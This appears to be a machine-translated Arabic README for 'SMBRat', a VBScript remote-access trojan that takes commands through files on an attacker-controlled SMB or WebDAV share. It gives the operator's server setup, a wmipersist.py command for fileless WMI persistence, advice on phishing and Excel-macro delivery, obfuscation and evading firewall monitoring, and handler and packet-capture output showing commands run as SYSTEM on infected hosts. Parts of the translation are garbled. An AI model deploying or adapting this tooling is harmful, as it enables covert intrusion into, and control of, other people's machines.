أداة إدارة Windows عن بعد في Visual Basic Script
تتضخم بيئات Windows مثل شبكات Active Directory مع حركة مرور الشركات الصغيرة والمتوسطة .
يحصل جميع المضيفين على سياسات من SYSVOL ، وتحتاج التكوينات إلى ملفات بعيدة حتى تعمل، وتميل اختصارات سطح المكتب إلى الإشارة إلى \somethingelseinthenetwork.exe
.
لن يلاحظ أحد محاولة اتصال أخرى. يمين؟
- خاصة إذا نجح (إنها موضة مراقبة رفض جدار الحماية فقط)
agent
عبارة عن برنامج نصي لـ Visual Basic يتم تشغيله على المضيف المصاب ويتصل بخادم SMB . يقوم بإنشاء دليل هناك يحمل hostname
المضيف وعنوان MAC
الأساسي (يحاول أن يكون فريدًا وغني بالمعلومات في نفس الوقت لأغراض إعداد التقارير). سيتم تخزين جميع الأوامر والمعلومات الخاصة بالمضيف المصاب في هذا الدليل. سوف يقوم zip
ping بالمجلد المشترك بأكمله بأرشفة جميع معلومات المشروع!
لا يستخدم حرف محرك أقراص لتركيب المشاركة، بل يستخدم فقط UNC paths
لقراءة الملفات البعيدة مباشرةً (لم يتم إنشاء محرك أقراص في explorer.exe
).
كما أنه يقوم بإدخال UNC path
في المتغير %PATH%
الخاص ببيئة التنفيذ الخاصة به (يمكنك تشغيل الملفات التنفيذية مباشرة من نظام ملفات جهاز Linux الخاص بك).
تم تكوين agent
ليعمل مرة واحدة . عديمي الجنسية .
إنه روتين (أكثر أو أقل) على النحو التالي:
exec.dat
في المجلد الذي أنشأه في مشاركة SMBcmd.exe /c <command>
مثل الصدفة شبه التفاعلية .output.dat
(بجوار exec.dat
).exec.dat
. يحتاج handler
إلى خادم SMB للعمل. ستفي وحدة smbserver.py
من حزمة impacket
الخاصة بـ Core Security بالغرض.
على الأرجح أن smbd
سيقوم بالمهمة أيضًا، ولكن لم يتم اختباره بعد.
هناك حاجة إلى مشاركة بالاسم D$
، لتبدو مثل الشركات الصغيرة والمتوسطة لمضيف Windows الشرعي.
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[ * ] Config file parsed
[ * ] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[ * ] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[ * ] Config file parsed
[ * ] Config file parsed
[ * ] Config file parsed
نظرًا لأنه تم تكوين agent
لاستخدام مسارات UNC فقط، فيمكن أيضًا استخدام WebDAV مع التغييرات الصفرية . بدلاً من خادم SMB، يمكن استخدام خادم WebDAV (خادم WebDAV الرائع الذي يدعم SSL هو wsgidav).
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController ()
[...] INFO : Registered DAV providers by route:
[...] INFO : - ' /:dir_browser ' : FilesystemProvider for path ' /root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs ' (Read-Only) (anonymous)
[...] INFO : - ' / ' : FilesystemProvider for path ' /tmp/DAV ' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share ' /:dir_browser ' will allow anonymous read access.
[...] WARNING : Share ' / ' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] " PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat " length=0, depth=0, elap=0.004sec - > 207 Multi-Status
بالنسبة لدعم SSL، يجب أن تتغير مسارات UNC قليلاً، من:
\<Server-IP>DIR
ل:
\<Server-IP>@SSL@443DIR
يمكن إجراء هذا التغيير فقط على متغير ServerName
agent.vbs
، حيث يتم إنشاء كافة المسارات بواسطة هذا. ضع في اعتبارك أن شهادات SSL يجب أن تكون موثوقة من قبل النظام الذي يقوم بتشغيل agent
. ستفشل الشهادات الموقعة ذاتيًا مع وجود تحذيرات.
يمكن إضافة حلقة while إلى بداية ملف agent.vbs
، مع بيان تأخير لعدة ثوانٍ (10 ثوانٍ مثالية)، وسيكون قادرًا على إصابة مضيفي Windows عن طريق النقر المزدوج / التصيد الاحتيالي / وحدات ماكرو Excel / إلخ...
تبدو حلقة while True
في VBS بتأخير قدره ثانية واحدة كما يلي:
Do While True
[ ... ]
WScript.Sleep 1000
Loop
ومع ذلك، إذا كان مضيف Windows ممكّنًا لـ RPC ، فمن الممكن تثبيت ملف VBS كبرنامج ضار بدون ملفات من خلال WMI
وأمثلة حزمة impacket
الرائعة باستخدام أمر مثل:
$ examples/wmipersist.py ' <username>:<password>@<hostname/ipaddress> ' install -vbs agent.vbs -name smbrat -timer 10
من الممكن أيضًا استخدام أداة WMI
عن طريق الوصول المحلي لتثبيت agent.vbs
كبرنامج ضار بدون ملفات.
يمكن تشويش البرامج النصية لـ Visual Basic بشكل جيد، وكذلك تصغيرها إلى base64 .
قد يكون من المفيد جدًا تجربتها قبل "النشر"
في وقت كتابة هذا التقرير، لم يتم تنفيذ لذلك يمكن أن يتم الاستخدام بمجرد استخدام أمر مثل Handler
Shell،watch
لفحص ملف output.dat
:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/output.dat
echo
لكتابة الأشياء إلى ملف exec.dat
:
$ echo ' whoami /all ' > Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/exec.dat
handler.py
تعمل القشرة التجريبية على النحو التالي:
$ python handler.py Share/
SMBRat >
# When a new host gets infected:
[+] Agent " DESKTOP-EG4OE7J " (00:0C:29:2B:9F:AF) just checked-in for Project: " projectName "
SMBRat > execall whoami /user
[ > ] Sending ' whoami /user ' to " projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF " ...
SMBRat >
[ < ] Response from ' projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ' :
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority s ystem S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat >
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
. & Mi~.6P.. > .......[.SMB........................
.@............ . ; ........... .net localgroup " administrators "
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
. ' *P....b.......SMB2......................
.F..z.....(...........z.D.........}...........p.r.o.j.e.c.t.N.a.m.e..D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F..o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$....... ' ..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
يتم نقل حركة المرور ( محتويات الملف ومساراته ) في نص عادي إذا تم استخدام خادم SMBv1 (على سبيل المثال، smbserver.py
الخاص بـ impacket
).
يمكن لجميع الوكلاء تعديل الملفات المخزنة في المشاركة الكاملة . وهذا يعني أنه يمكنهم تعديل ملف exec.dat
الخاص بالوكلاء الآخرين... ستسلط خريطة smbmap
الضوء على ما يلي:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 D $ S VNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 I PC$ S VNRmxBFAO, plreae remove manually
-u
و -p
لـ smbmap
.هذه جلسة فارغة (مثل تسجيل الدخول المجهول لـ FTP). يمكن للجميع تغيير ملفات المشاركة وتنفيذ التعليمات البرمجية عن بعد على جميع الأجهزة المصابة.
iptables
هنا ... اكتب execall netsh
وفقدت كل عملائك. لن يستجيب أي شيء لأن agent.vbs
سينتج غلاف netsh.exe
وسينتظر حتى ينتهي، حتى يتمكن من كتابة محتوياته إلى output.dat
. لكن خمن ماذا... لن ينتهي... سيتم تعليقه مع إشارة netsh>
إلى الفراغ.